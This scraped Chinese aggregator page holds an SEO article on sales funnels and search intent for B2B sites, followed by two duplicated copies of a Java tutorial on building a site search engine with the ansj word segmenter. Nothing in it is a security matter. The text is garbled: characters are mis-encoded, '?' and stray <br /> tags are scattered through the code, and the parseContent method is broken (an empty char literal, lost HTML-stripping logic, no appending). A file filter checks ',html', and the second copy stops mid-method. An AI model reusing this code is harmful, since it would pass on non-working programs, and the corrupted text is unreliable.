　　銷(xiāo)售漏斗對于網(wǎng)站內容部署意味著(zhù)什么？
　　銷(xiāo)售漏斗的概念應該對任何營(yíng)銷(xiāo)人員來(lái)說(shuō)都不陌生，仍然記得這是我當年專(zhuān)業(yè)老師必問(wèn)必考的一個(gè)內容。所以它對于指引我們B2B網(wǎng)站的內容部署還是非常重要。
　　首先我們要重溫一下“客戶(hù)旅程”這個(gè)概念?？蛻?hù)（用戶(hù)）從了解一個(gè)品牌，到查詢(xún)資料，然后形成意見(jiàn)，最后掏錢(qián)購買(mǎi)，這是一個(gè)完整的客戶(hù)旅程。
　　產(chǎn)生意識>確認需求>進(jìn)行購買(mǎi)>留存選擇>口碑傳播，貫穿于銷(xiāo)售漏斗的始終。對于我們網(wǎng)站內容策略來(lái)說(shuō)，客戶(hù)旅程和銷(xiāo)售漏斗發(fā)揮著(zhù)一個(gè)非常重要的指導作用。
　　
　　根據Ahrefs的一個(gè)調研，大部分的B2B企業(yè)更加關(guān)注銷(xiāo)售漏斗中的BOFU環(huán)節，即促成購買(mǎi)的環(huán)節。
　　因此在網(wǎng)站的內容部署中，投入大量的精力在和產(chǎn)品購買(mǎi)相關(guān)的頁(yè)面中，如產(chǎn)品目錄頁(yè)、產(chǎn)品詳情頁(yè)或者其他促銷(xiāo)頁(yè)面。對于以詢(xún)盤(pán)或者銷(xiāo)售為業(yè)績(jì)導向的B2B企業(yè)來(lái)說(shuō)，的確是無(wú)可厚非的一種操作。
　　然而，很多時(shí)候我們仿佛忘記了當初學(xué)習營(yíng)銷(xiāo)時(shí)的一個(gè)基本理念---用戶(hù)達成購買(mǎi)，是一個(gè)漫長(cháng)的被攻占心智的過(guò)程。對于銷(xiāo)售漏斗中的TOFU和MOFU部分的內容，我們忽視了或者不愿意去投入精力，直接無(wú)視了在“客戶(hù)旅程”中處于中間過(guò)程的潛在客戶(hù)。
　　在我們定立網(wǎng)站內容策略，制定內容部署方針的時(shí)候，如果我們發(fā)現不知道應該部署什么內容的時(shí)候，可以回顧一下銷(xiāo)售漏斗中用戶(hù)在不同的客戶(hù)旅程階段，他們所關(guān)注的內容是什么。
　　不同購買(mǎi)漏斗階段用戶(hù)關(guān)心的內容
　　
　　處于TOFU部分的用戶(hù)，大多是剛剛發(fā)現自己有這樣的需求，并且在網(wǎng)上開(kāi)始搜索相關(guān)資料、品牌等。那么網(wǎng)站中應該有這樣的內容來(lái)展示品牌在這個(gè)領(lǐng)域的專(zhuān)業(yè)度，讓潛在的客戶(hù)相信你的品牌作為一個(gè)可靠的信息來(lái)源。網(wǎng)站中的品牌故事內容、專(zhuān)業(yè)背書(shū)內容、Ebook（包括白皮書(shū)等）以及當前比較流行的短視頻、社媒運營(yíng)、信息圖等都可以幫助你的潛在客戶(hù)加深對品牌的印象，提高他們重新訪(fǎng)問(wèn)網(wǎng)站獲取信息的機會(huì )或者關(guān)注品牌動(dòng)向。
　　
　　而進(jìn)入到MOFU部分內容的用戶(hù)，他們已經(jīng)對品牌和行業(yè)相關(guān)的一些基本概念有一定了解，確定了需求。他們更加想進(jìn)一步找到滿(mǎn)足自己需求的解決方案、和一些技術(shù)對比。而我們這個(gè)時(shí)候應該呈現給用戶(hù)的是我們的一些技術(shù)能力、解決方案策略等內容。
　　從這個(gè)角度出發(fā)，我們應該在內容部署中考慮案例、指導性?xún)热?、相關(guān)研討會(huì )，活動(dòng)實(shí)況、場(chǎng)景應用介紹等。同時(shí)配合EDM營(yíng)銷(xiāo)把這些內容推送給在TOFU部分積累的潛在用戶(hù)。
　　
　　到了BOFU，我們希望潛在客戶(hù)進(jìn)行購買(mǎi)，到達這個(gè)階段的用戶(hù)應該理解我們呈現的內容，我們需要讓他們相信我們的產(chǎn)品、服務(wù)確實(shí)有能力解決他們的問(wèn)題。那么我們需要什么內容來(lái)推動(dòng)他們進(jìn)行購買(mǎi)行為呢？我相信大部分營(yíng)銷(xiāo)人員都對這部分內容較為熟悉。
　　一個(gè)不同版本的對比表格、一份產(chǎn)品或者軟件的demo試用、根據不同客戶(hù)需求呈現的推薦產(chǎn)品、真實(shí)的客戶(hù)反饋以及具體的參數，這些內容都是在BOFU階段促進(jìn)用戶(hù)交易的內容。
　　B2B網(wǎng)站應該包含所有貫穿銷(xiāo)售漏斗階段的內容
　　不少B2B 網(wǎng)站的營(yíng)銷(xiāo)人員會(huì )不禁發(fā)出疑問(wèn)，以上說(shuō)的三部分內容，應該怎么去分布。首先，我們明確建議：B2B網(wǎng)站應該呈現包含所有貫穿銷(xiāo)售漏斗階段的內容。
　　
　　這是因為，我們無(wú)法判斷，進(jìn)入我們網(wǎng)站的潛在客戶(hù)他們處于銷(xiāo)售漏斗中哪一個(gè)階段。因此，如果我們網(wǎng)站可以部署滿(mǎn)足用戶(hù)處于不同客戶(hù)旅程階段的內容，那么我們網(wǎng)站就可以捕獲不同需求客戶(hù)的流量，各個(gè)部分的內容都可以成為網(wǎng)站SEO流量的推進(jìn)劑，而最終促進(jìn)銷(xiāo)售和詢(xún)盤(pán)的達成。
　　用戶(hù)搜索意圖的充分分析幫助B2B網(wǎng)站的內容建設
　　當我們知道為B2B網(wǎng)站創(chuàng )建什么類(lèi)型的內容后，我們就需要考慮怎么去創(chuàng )建貼合用戶(hù)需求，為網(wǎng)站帶來(lái)流量的內容了。這個(gè)時(shí)候“用戶(hù)搜索意圖”分析就可以幫助到我們制定內容建設的框架了。
　　什么是用戶(hù)搜索意圖？
　　顧名思義，搜索意圖就是反映潛在客戶(hù)為什么要這樣搜索的原因。一般情況下，在SEO中用戶(hù)的搜索意圖體現在他們通過(guò)搜索哪些關(guān)鍵詞來(lái)獲取他們想要的信息。
　　用戶(hù)搜索意圖對于B2B網(wǎng)站內容部署有什么意義？
　　了解用戶(hù)的搜索意圖，便于網(wǎng)站的營(yíng)銷(xiāo)人員創(chuàng )建符合用戶(hù)需求的內容，有利于網(wǎng)站的SEO排名和流量的提升。前文說(shuō)到，潛在客戶(hù)處于不同的客戶(hù)旅程階段，進(jìn)入不同的銷(xiāo)售漏斗部分，他們所想了解的東西是不一樣的。這個(gè)時(shí)候他們所使用的搜索關(guān)鍵詞也會(huì )有所差異。
　　因此當我們分析用戶(hù)意圖后，我們便可以得知他們當前所想了解的信息大多會(huì )和哪些主題相關(guān)。而我們網(wǎng)站所部署的內容主題也應該和他們相貼合。
　　用戶(hù)搜索意圖的類(lèi)型有哪些？
　　用戶(hù)的搜索意圖類(lèi)型主要分以下幾種：
　　1、信息類(lèi)型——用戶(hù)希望通過(guò)搜索，了解某些品牌、產(chǎn)品、服務(wù)的基礎信息，包括它們的用途、原理等等。通常這類(lèi)意圖的關(guān)鍵詞都包含“what is”、“who is”，“Where is”等5W元素。
　　2、導航類(lèi)型——用戶(hù)可能希望訪(fǎng)問(wèn)某個(gè)特定的網(wǎng)站或者頁(yè)面。這個(gè)時(shí)候，他們會(huì )直接搜索某個(gè)網(wǎng)站的名稱(chēng)或者品牌名稱(chēng)，如“Facebook”，“Apple official website”。
　　3、含交易意向的類(lèi)型——購買(mǎi)意欲較強的用戶(hù)，他們大多已經(jīng)處于購買(mǎi)漏斗比較靠后的階段，這個(gè)時(shí)候他們所呈現的搜索意圖已經(jīng)非常明顯，它們大多會(huì )使用含有“buy”，“price”，“cheap”等等和購買(mǎi)、價(jià)格比較相關(guān)的字眼。
　　4、商業(yè)調查類(lèi)型——這類(lèi)搜索意圖和含交易意向的類(lèi)型有些類(lèi)似。他們已經(jīng)有很明顯的購買(mǎi)意圖，而且希望通過(guò)調查，找到頭部品牌、優(yōu)惠、reviews、參數對比信息等內容幫助他們進(jìn)行最后的決策。
　　當我們知道用戶(hù)的搜索用詞類(lèi)型會(huì )體現以上四種搜索意圖的時(shí)候，在我們在做內容策劃時(shí)，進(jìn)行關(guān)鍵詞調研、主題調研就應該總結出一些用詞規律，并根據這些詞根，推斷通過(guò)這些詞進(jìn)入到網(wǎng)站的用戶(hù)大多處于哪個(gè)客戶(hù)旅行階段，也可以通過(guò)已有數據來(lái)檢查我們網(wǎng)站目前缺乏銷(xiāo)售漏斗中哪些內容類(lèi)型，進(jìn)而對網(wǎng)站的內容主題進(jìn)行規劃。
　　各類(lèi)搜索意圖一般情況下會(huì )出現的字眼：
　　
　　如何了解來(lái)到網(wǎng)站的用戶(hù)的搜索意圖？
　　我們知道搜索意圖的分類(lèi)和體現用戶(hù)搜索意圖的關(guān)鍵詞詞根后，我們應該怎么去了解和分析我們的網(wǎng)站有哪些類(lèi)型的用戶(hù)訪(fǎng)問(wèn)了呢？
　　這個(gè)很簡(jiǎn)單，相關(guān)的工具和網(wǎng)站后臺就可以幫助我們得到這些信息。
　　● 內部挖掘：
　　Google Analytics & Google Search Console
　　通過(guò)Google Analytics和 Google Search Console 中的來(lái)源關(guān)鍵詞，我們可以看到我們網(wǎng)站在哪些關(guān)鍵詞中獲得了流量。這些都是用戶(hù)實(shí)打實(shí)的搜索意圖，并且我們網(wǎng)站內容某程度上滿(mǎn)足了他們的搜索意圖。
　　
　　另外我們可以通過(guò)GA中查看我們在Google 廣告投放中觸發(fā)廣告的關(guān)鍵詞，來(lái)查看用戶(hù)的搜索意圖。
　　
　　我們把這些詞下載下來(lái)，通過(guò)前文提及的搜索意圖會(huì )包含的字眼，進(jìn)行篩選。這樣我們就可以清楚了解到我們網(wǎng)站獲得處于哪個(gè)客戶(hù)旅程階段的用戶(hù)比較多，哪種搜索意圖類(lèi)型的內容主題我們是比較缺乏的。進(jìn)而就知道我們應該去拓展和補充哪些類(lèi)型的內容。
　　●外部拓展
　　與此同時(shí)，我們也可以根據我們已有的詞根，配合用戶(hù)搜索意圖體現的字眼，利用第三方工具來(lái)進(jìn)行內容主題的拓展（關(guān)鍵詞拓展）。
　　Semrush是一個(gè)強大的數字營(yíng)銷(xiāo)工具，只需要輸入網(wǎng)址，semrush就會(huì )快速為網(wǎng)站進(jìn)行一連串關(guān)于SEO、廣告、競爭報告以及網(wǎng)站內容和社交媒體情況的各類(lèi)分析，并給出優(yōu)化建議。其中它的關(guān)鍵詞分析套件可以根據網(wǎng)站或者關(guān)鍵詞，提供相關(guān)關(guān)鍵詞的拓展，搜索量、serp等數據。利用Keyword Magic Tool 工具，配合搜意意圖體現常用詞?？梢暂p松幫助我們找到當前用戶(hù)所關(guān)注的內容主題。
　　
　　結 語(yǔ)
　　谷歌仍然不斷了解用戶(hù)的搜索意圖，并呈現符合用戶(hù)搜索意圖的信息。對于B2B業(yè)務(wù)來(lái)說(shuō)，達成購買(mǎi)的客戶(hù)旅程是相比于B2C業(yè)務(wù)來(lái)說(shuō)是相對較長(cháng)的，因此其潛在的客戶(hù)處于銷(xiāo)售漏斗不同階段的數量也是相對會(huì )多。我們希望B2B網(wǎng)站可以獲得更好的排名表現和流量提升，必須考慮內容一定滿(mǎn)足處于各個(gè)銷(xiāo)售漏斗階段的用戶(hù)搜索需求。
　　深入了解客戶(hù)，并且回歸基本路徑是B2B企業(yè)網(wǎng)站營(yíng)銷(xiāo)運營(yíng)、內容運營(yíng)的康莊大道！
　　Freedom 肖寶寧
　　現任環(huán)創(chuàng )網(wǎng)絡(luò )SEO manager；擁有6年海外數字營(yíng)銷(xiāo)經(jīng)驗，思維活躍，勇于創(chuàng )新，擅長(cháng)社交媒體營(yíng)銷(xiāo)，服務(wù)客戶(hù)包括中國南航、TCL、vivo、GameLoop、米哈游等。
　　 查看全部

　　用Java寫(xiě)了一個(gè)搜索引擎系統
　　前言
　　咱們如果用我們的小服務(wù)器去搞百度，搜狗那種引擎肯定是不行的，內屬于全站搜索，我們這里做一個(gè)站內搜索。這個(gè)還是可以的，就類(lèi)似于我們對網(wǎng)站里的資源進(jìn)行搜索。
　　一.搜索引擎怎么搜索
　　搜索引擎就像一個(gè)小蜜蜂每天不停的采摘蜂蜜，就是去爬蟲(chóng)各個(gè)網(wǎng)頁(yè)，然后通過(guò)爬取之后建立索引，以供于我們去搜索。
　　這里我們可以使用Python，或者下載文檔壓縮包。這里我們下包把，快多了。本來(lái)想搞一個(gè)英雄聯(lián)盟的，實(shí)在找不見(jiàn)，要是后續有老鐵找到可以分享一下。
　　建議大家別爬蟲(chóng)（要不然被告了，不過(guò)我們學(xué)校的官網(wǎng)倒是可以隨便爬，我們當時(shí)就是拿這個(gè)練手的） 為什么要用索引呢？
　　因為爬的數據太多了，不索引，難道我去遍歷嗎？時(shí)間復雜度太大了。
　　這里我們需要建立索引，索引分別為正排索引，和倒排索引。
　　拿LOL舉個(gè)例子吧，正排就相當于，我們提到無(wú)極劍圣的技能就可以聯(lián)想到：
　　所以這是根據名字選技能
　　倒排索引就是LOL里面誰(shuí)有劍：
　　所以這是根據特點(diǎn)選擇英雄
　　二.模塊劃分
　　1.索引模塊
　　1）掃描下載到的文檔，分析內容，構建出，正排索引和倒排索引。并且把索引內容保存到文件中。
　　2）加載制作i好的索引。并提供一些API實(shí)現查正排和查倒排這樣的功能。
　　2.搜索模塊
　　1）調用索引模塊，實(shí)現一個(gè)搜索的完整過(guò)程。
　　輸入：用戶(hù)的查詢(xún)詞 輸出：完整的搜索結果
　　3.web模塊
　　需要實(shí)現一個(gè)簡(jiǎn)單的web程序，能夠通過(guò)網(wǎng)頁(yè)的形式和用戶(hù)進(jìn)行交互。包含了前端和后端。
　　三. 怎么實(shí)現分詞
　　分詞的原理：
　　1.基于詞庫
　　嘗試把所有的詞都進(jìn)行窮舉，把這些結果放到詞典文件中。
　　2.基于統計
　　收集到很多的語(yǔ)料庫，進(jìn)行人工標注，知道了那些字在一起的概率比較大~
　　java中能夠實(shí)現分詞的第三方工具也是有很多的
　　比如ansj(聽(tīng)說(shuō)唱的兄弟可能聽(tīng)過(guò)ansj，哈哈)這個(gè)就是一個(gè)maven中央倉庫的分詞第三方庫。
　　
　　我們直接下載最新版本然后放入pom.xml里面
　　test包里直接操作：我們使用這個(gè)測試代碼直接搞。試一下這個(gè)包咋用。
　　
　　import org.ansj.domain.Term;import org.ansj.splitWord.analysis.ToAnalysis;import java.util.List;public class TastAnsj { public static void main(String[] args) { String str = "易大師是一個(gè)有超高機動(dòng)性的刺客、戰士型英雄，擅長(cháng)利用快速的打擊迅速擊潰對手，易大師一般打野和走單人路，作為無(wú)極劍道的最后傳人，易可以迅速砍出大量傷害，同時(shí)還能利用技能躲避猛烈的攻擊，避開(kāi)敵人的集火。"; List terms = ToAnalysis.parse(str).getTerms(); for (Term term : terms) { System.out.println(term.getName()); } }}
　　四.文件讀取
　　把剛剛下載好的文檔的路徑復制到String中并且用常量標記。
　　這一步是為了用遍歷的方法把所有html文件搞出來(lái)，我們這里用了一個(gè)遞歸，如果是絕對路徑，就填加到文件鏈表，如果不是就遞歸，繼續添加里面的值。
　　import java.io.File;import java.util.ArrayList;//讀取剛剛文檔public class Parser { private static final String INPUT_PATH="D:/test/docs/api"; public void run(){ //整個(gè)Parser類(lèi)的入口 //1.根據路徑，去枚舉出所有的文件.（html）； ArrayList fileList=new ArrayList(); enumFile(INPUT_PATH,fileList); System.out.println(fileList); System.out.println(fileList.size()); //2.針對上面羅列出的文件，打開(kāi)文件，讀取文件內容，并進(jìn)行解析 //3.把在內存中構造好的索引數據結構，保定到指定的文件中。 } //第一個(gè)參數表示從哪里開(kāi)始遍歷 //第二個(gè)表示結果。 private void enumFile(String inputPath,ArrayListfileList){ File rootPath=new File(inputPath); //listFiles 能夠獲取到一層目錄下的文件 File[] files= rootPath.listFiles(); for(File f:files){ //根據當前f的類(lèi)型判斷是否遞歸。 //如果f是一個(gè)普通文件，就把f加入到fileList里面 //如果不是就調用遞歸 if(f.isDirectory()){ enumFile(f.getAbsolutePath(),fileList); }else { fileList.add(f); } } } public static void main(String[] args) { //通過(guò)main方法來(lái)實(shí)現整個(gè)制作索引的過(guò)程 Parser parser=new Parser(); parser.run(); }}
　　
　　我們嘗試運行一下，這里的文件也太多了吧，而且無(wú)論是什么都打印出來(lái)了。所以我們下一步就是把這些文件進(jìn)行篩選，選擇有用的。
　　else?{ if(f.getAbsolutePath().endsWith(",html")) fileList.add(f);}
　　這個(gè)代碼就是只是針對末尾為html的文件。下圖就是展示結果。
　　
　　4.1 打開(kāi)文件，解析內容。
　　這里分為三個(gè)分別是解析Title，解析Url，解析內容Content
　　4.1.1解析Title
　　f.getName()是直接讀取文件名字的方法。
　　我們用的name.substring(0,f.getName().length()-5);為什么要用總的文件名字長(cháng)度減去5呢，因為.HTML剛好就是五。
　　private String parseTitle(File f) { String name= f.getName();?????????return?name.substring(0,f.getName().length()-5); }
　　4.1.2解析Url操作
　　這里的url就是我們平時(shí)去一個(gè)瀏覽器輸入一個(gè)東西下面會(huì )有一個(gè)url，這個(gè)url就是我們的絕對路徑經(jīng)過(guò)截取獲得出我們的相對的目錄，然后與我們的http進(jìn)行拼接，這樣就可以直接得到一個(gè)頁(yè)面。
　　private String parseUrl(File f) { String part1="https://docs.oracle.com/javase/8/docs/api/"; String part2=f.getAbsolutePath().substring(INPUT_PATH.length()); return part1+part2; }
　　4.1.3解析內容
　　以為開(kāi)關(guān)進(jìn)行對數據的讀取，以int類(lèi)型讀取，為什么要用int而不是char呢因為int類(lèi)型讀完之后就變成-1可以判斷一下是否讀取完畢。具體代碼如下很容易理解。
　　private String parseContent(File f) throws IOException { //先按照一個(gè)一個(gè)字符來(lái)讀取，以作為開(kāi)關(guān) try(FileReader fileReader=new FileReader(f)) { //加上一個(gè)是否拷貝的開(kāi)關(guān). boolean isCopy=true; //還需要準備一個(gè)結果保存 StringBuilder content=new StringBuilder(); while (true){ //此處的read的返回值是int，不是char //如果讀到文件末尾，就會(huì )返回-1，這是用int的好處； int ret = 0; try { ret = fileReader.read(); } catch (IOException e) { e.printStackTrace(); } if(ret==-1) { break; } char c=(char) ret; if(isCopy){ if(c==''){ isCopy=true; } }????????????} return content.toString(); } catch (FileNotFoundException e) { e.printStackTrace(); } return ""; }
　　這一模塊總的代碼塊如下：
　　import java.io.File;import java.io.FileNotFoundException;import java.io.FileReader;import java.io.IOException;import java.util.ArrayList;//讀取剛剛文檔public class Parser { private static final String INPUT_PATH="D:/test/docs/api"; public void run(){ //整個(gè)Parser類(lèi)的入口 //1.根據路徑，去枚舉出所有的文件.（html）； ArrayList fileList=new ArrayList(); enumFile(INPUT_PATH,fileList); System.out.println(fileList); System.out.println(fileList.size()); //2.針對上面羅列出的文件，打開(kāi)文件，讀取文件內容，并進(jìn)行解析 for (File f:fileList){ System.out.println("開(kāi)始解析"+f.getAbsolutePath()); parseHTML(f); } //3.把在內存中構造好的索引數據結構，保定到指定的文件中。 }<br /> private String parseTitle(File f) { String name= f.getName();?????????return?name.substring(0,f.getName().length()-5); } private String parseUrl(File f) { String part1="https://docs.oracle.com/javase/8/docs/api/"; String part2=f.getAbsolutePath().substring(INPUT_PATH.length()); return part1+part2; } private String parseContent(File f) throws IOException { //先按照一個(gè)一個(gè)字符來(lái)讀取，以作為開(kāi)關(guān) try(FileReader fileReader=new FileReader(f)) { //加上一個(gè)是否拷貝的開(kāi)關(guān). boolean isCopy=true; //還需要準備一個(gè)結果保存 StringBuilder content=new StringBuilder(); while (true){ //此處的read的返回值是int，不是char //如果讀到文件末尾，就會(huì )返回-1，這是用int的好處； int ret = 0; try { ret = fileReader.read(); } catch (IOException e) { e.printStackTrace(); } if(ret==-1) { break; } char c=(char) ret; if(isCopy){ if(c==''){ isCopy=true; } }????????????} return content.toString(); } catch (FileNotFoundException e) { e.printStackTrace(); } return ""; } private void parseHTML (File f){ //解析出標題 String title=parseTitle(f); //解析出對應的url String url=parseUrl(f); //解析出對應的正文 try { String content=parseContent(f); } catch (IOException e) { e.printStackTrace(); } } //第一個(gè)參數表示從哪里開(kāi)始遍歷 //第二個(gè)表示結果。 private void enumFile(String inputPath,ArrayListfileList){ File rootPath=new File(inputPath); //listFiles 能夠獲取到一層目錄下的文件 File[] files= rootPath.listFiles(); for(File f:files){ //根據當前f的類(lèi)型判斷是否遞歸。 //如果f是一個(gè)普通文件，就把f加入到fileList里面 //如果不是就調用遞歸 if(f.isDirectory()){ enumFile(f.getAbsolutePath(),fileList); }else { if(f.getAbsolutePath().endsWith(".html")) fileList.add(f); } } } public static void main(String[] args) { //通過(guò)main方法來(lái)實(shí)現整個(gè)制作索引的過(guò)程 Parser parser=new Parser(); parser.run(); }}
　　歡迎加入程序員交流群
　　鬼哥我創(chuàng )建了幾個(gè)技術(shù)交流群，大家在群里都是九分聊技術(shù)、一分聊風(fēng)雪～
　　如果你沒(méi)有加群，不妨掃描下方二維碼、添加我的微信。我拉大家進(jìn)群，記得備注：工作城市+昵稱(chēng)+技術(shù)方向！
　　Ps：如果朋友圈對我設置權限的話(huà)，那就不用加我好友了。
　　
　　<p data-mid="" data-darkmode-bgcolor-16266178294118="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16266178294118="#fff|rgb(255, 255, 255)" data-darkmode-color-16266178294118="rgb(19, 52, 86)" data-darkmode-original-color-16266178294118="#fff|rgb(62, 62, 62)|rgb(19, 52, 86)" data-darkmode-bgimage-16266178294118="1" style="outline: 0px;text-align: center;">往期推薦
　　B站，竟然變成了相親求偶平臺！<br data-darkmode-bgcolor-16266178294118="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16266178294118="#fff|rgb(255, 255, 255)" data-darkmode-color-16266178294118="rgb(67, 131, 199)" data-darkmode-original-color-16266178294118="#fff|rgb(62, 62, 62)|rgb(44, 95, 149)" style="outline: 0px;" />
　　MySQL奪命15問(wèn)，你能堅持到第幾問(wèn)？<br style="outline: 0px;" />
　　Nginx 輕松搞定跨域問(wèn)題！<br style="outline: 0px;" />
　　換掉 UUID，更快更安全！<br style="outline: 0px;" />
　　Java實(shí)現10萬(wàn)+并發(fā)去重，持續優(yōu)化！<br data-darkmode-bgcolor-16266178294118="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16266178294118="#fff|rgb(255, 255, 255)" data-darkmode-color-16266178294118="rgb(67, 131, 199)" data-darkmode-original-color-16266178294118="#fff|rgb(62, 62, 62)|rgb(44, 95, 149)" style="outline: 0px;" /><br style="outline: 0px;" />花費數月整理出來(lái)的技術(shù)資源免費分享給大家掃描下方二維碼，回復關(guān)鍵字【技術(shù)福利】獲??！喜歡的這里報道<br data-darkmode-bgcolor-16266178294118="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16266178294118="#fff|rgb(255, 255, 255)" data-darkmode-color-16266178294118="rgb(163, 163, 163)" data-darkmode-original-color-16266178294118="#fff|rgb(62, 62, 62)" style="outline: 0px;" />↘↘↘</p> 查看全部

　　寫(xiě)一個(gè)搜索引擎系統（Java版）
　　咋們如果用我們的小服務(wù)器去搞百度，搜狗那種引擎肯定是不行的，內屬于全站搜索，我們這里做一個(gè)站內搜索。這個(gè)還是可以的，就類(lèi)似于我們對網(wǎng)站里的資源進(jìn)行搜索。
　　一.搜索引擎怎么搜索
　　搜索引擎就像一個(gè)小蜜蜂每天不停的采摘蜂蜜，就是去爬蟲(chóng)各個(gè)網(wǎng)頁(yè)，然后通過(guò)爬取之后建立索引，以供于我們去搜索。
　　這里我們可以使用Python，或者下載文檔壓縮包。這里我們下包把，快多了。本來(lái)想搞一個(gè)英雄聯(lián)盟的，實(shí)在找不見(jiàn)，要是后續有老鐵找到可以分享一下。
　　建議大家別爬蟲(chóng)（要不然被告了，不過(guò)我們學(xué)校的官網(wǎng)倒是可以隨便爬，我們當時(shí)就是拿這個(gè)練手的）
　　為什么要用索引呢？
　　因為爬的數據太多了，不索引，難道我去遍歷嗎？時(shí)間復雜度太大了。
　　這里我們需要建立索引，索引分別為正排索引，和倒排索引。
　　拿LOL舉個(gè)例子吧，正排就相當于，我們提到無(wú)極劍圣的技能就可以聯(lián)想到
　　故根據名字選技能
　　
　　倒排索引就是LOL里面誰(shuí)有劍
　　蠻王無(wú)極劍圣劍姬
　　故根據特點(diǎn)選擇英雄
　　二.模塊劃分1.索引模塊
　　1）掃描下載到的文檔，分析內容，構建出，正排索引和倒排索引。并且把索引內容保存到文件中。
　　2）加載制作i好的索引。并提供一些API實(shí)現查正排和查倒排這樣的功能。
　　2.搜索模塊
　　1）調用索引模塊，實(shí)現一個(gè)搜索的完整過(guò)程。
　　3.web模塊
　　需要實(shí)現一個(gè)簡(jiǎn)單的web程序，能夠通過(guò)網(wǎng)頁(yè)的形式和用戶(hù)進(jìn)行交互。
　　包含了前端和后端。
　　三. 怎么實(shí)現分詞
　　分詞的原理
　　1.基于詞庫
　　嘗試把所有的詞都進(jìn)行窮舉，把這些結果放到詞典文件中。
　　2.基于統計
　　收集到很多的語(yǔ)料庫，進(jìn)行人工標注，知道了那些字在一起的概率比較大~
　　java中能夠實(shí)現分詞的第三方工具也是有很多的
　　比如ansj(聽(tīng)說(shuō)唱的兄弟可能聽(tīng)過(guò)ansj，哈哈)這個(gè)就是一個(gè)maven中央倉庫的分詞第三方庫。
　　
　　我們直接下載最新版本然后放入pom.xml里面
　　test包里直接操作：我們使用這個(gè)測試代碼直接搞。試一下這個(gè)包咋用。
　　
　　import?org.ansj.domain.Term;<br />import?org.ansj.splitWord.analysis.ToAnalysis;<br />import?java.util.List;<br />public?class?TastAnsj?{<br />????public?static?void?main(String[]?args)?{<br />????????String?str?=?"易大師是一個(gè)有超高機動(dòng)性的刺客、戰士型英雄，擅長(cháng)利用快速的打擊迅速擊潰對手，易大師一般打野和走單人路，作為無(wú)極劍道的最后傳人，易可以迅速砍出大量傷害，同時(shí)還能利用技能躲避猛烈的攻擊，避開(kāi)敵人的集火。";<br />????????List?terms?=?ToAnalysis.parse(str).getTerms();<br />????????for?(Term?term?:?terms)?{<br />????????????System.out.println(term.getName());<br />????????}<br />????}<br />}<br />
　　四.文件讀取
　　把剛剛下載好的文檔的路徑復制到String中并且用常量標記。
　　這一步是為了用遍歷的方法把所有html文件搞出來(lái)，我們這里用了一個(gè)遞歸，如果是絕對路徑，就填加到文件鏈表，如果不是就遞歸，繼續添加里面的值。
　　import?java.io.File;<br />import?java.util.ArrayList;<br /><br /><br />//讀取剛剛文檔<br />public?class?Parser?{<br />?????private?static?final??String?INPUT_PATH="D:/test/docs/api";<br />??????public??void?run(){<br />??????????//整個(gè)Parser類(lèi)的入口<br />??????????//1.根據路徑，去枚舉出所有的文件.（html）；<br />??????????ArrayList?fileList=new?ArrayList();<br />??????????enumFile(INPUT_PATH,fileList);<br />??????????System.out.println(fileList);<br />??????????System.out.println(fileList.size());<br />??????????//2.針對上面羅列出的文件，打開(kāi)文件，讀取文件內容，并進(jìn)行解析<br />??????????//3.把在內存中構造好的索引數據結構，保定到指定的文件中。<br />??????}<br />??????//第一個(gè)參數表示從哪里開(kāi)始遍歷?//第二個(gè)表示結果。<br />??????private?void?enumFile(String?inputPath,ArrayListfileList){<br />?????????File?rootPath=new?File(inputPath);<br />?????????//listFiles?能夠獲取到一層目錄下的文件<br />????????File[]?files=?rootPath.listFiles();<br />?????????for(File?f:files){<br />?????????????//根據當前f的類(lèi)型判斷是否遞歸。<br />?????????????//如果f是一個(gè)普通文件，就把f加入到fileList里面<br />?????????????//如果不是就調用遞歸<br />?????????????if(f.isDirectory()){<br />?????????????????enumFile(f.getAbsolutePath(),fileList);<br />?????????????}else?{<br />?????????????????fileList.add(f);<br />?????????????}<br />?????????}<br />??????}<br />????public?static?void?main(String[]?args)?{<br />????????//通過(guò)main方法來(lái)實(shí)現整個(gè)制作索引的過(guò)程<br />????????Parser?parser=new?Parser();<br />????????parser.run();<br />????}<br />}<br />
　　
　　我們嘗試運行一下，這里的文件也太多了吧，而且無(wú)論是什么都打印出來(lái)了。所以我們下一步就是把這些文件進(jìn)行篩選，選擇有用的。
　　else?{<br />?????if(f.getAbsolutePath().endsWith(",html"))<br />?????fileList.add(f);<br />}<br />
　　這個(gè)代碼就是只是針對末尾為html的文件，下圖就是展示結果。
　　
　　4.1 打開(kāi)文件，解析內容。
　　這里分為三個(gè)分別是解析Title，解析Url，解析內容Content
　　4.1.1解析Title
　　f.getName()是直接讀取文件名字的方法。
　　我們用的name.substring(0,f.getName().length()-5);為什么要用總的文件名字長(cháng)度減去5呢，因為.HTML剛好就是五。
　　private??String?parseTitle(File?f)?{<br />??????????String?name=?f.getName();<br />?????????return?name.substring(0,f.getName().length()-5);<br /><br />????}<br />
　　4.1.2解析Url操作
　　這里的url就是我們平時(shí)去一個(gè)瀏覽器輸入一個(gè)東西下面會(huì )有一個(gè)url，這個(gè)url就是我們的絕對路徑經(jīng)過(guò)截取獲得出我們的相對的目錄，然后與我們的http進(jìn)行拼接，這樣就可以直接得到一個(gè)頁(yè)面。
　　private??String?parseUrl(File?f)?{<br />??????String?part1="https://docs.oracle.com/javase ... %3Bbr />??????String?part2=f.getAbsolutePath().substring(INPUT_PATH.length());<br />??????????return?part1+part2;<br />????}<br />
　　4.1.3解析內容
　　以為開(kāi)關(guān)進(jìn)行對數據的讀取，以int類(lèi)型讀取，為什么要用int而不是char呢因為int類(lèi)型讀完之后就變成-1可以判斷一下是否讀取完畢。
　　具體代碼如下很容易理解。
　　private??String?parseContent(File?f)?throws?IOException?{<br />??????????//先按照一個(gè)一個(gè)字符來(lái)讀取，以作為開(kāi)關(guān)<br />????????try(FileReader?fileReader=new?FileReader(f))?{<br />????????????//加上一個(gè)是否拷貝的開(kāi)關(guān).<br />????????????boolean?isCopy=true;<br />????????????//還需要準備一個(gè)結果保存<br />????????????StringBuilder?content=new?StringBuilder();<br />????????????while?(true){<br />????????????????//此處的read的返回值是int，不是char<br />????????????????//如果讀到文件末尾，就會(huì )返回-1，這是用int的好處；<br />????????????????int??ret?=?0;<br />????????????????try?{<br />????????????????????ret?=?fileReader.read();<br />????????????????}?catch?(IOException?e)?{<br />????????????????????e.printStackTrace();<br />????????????????}<br 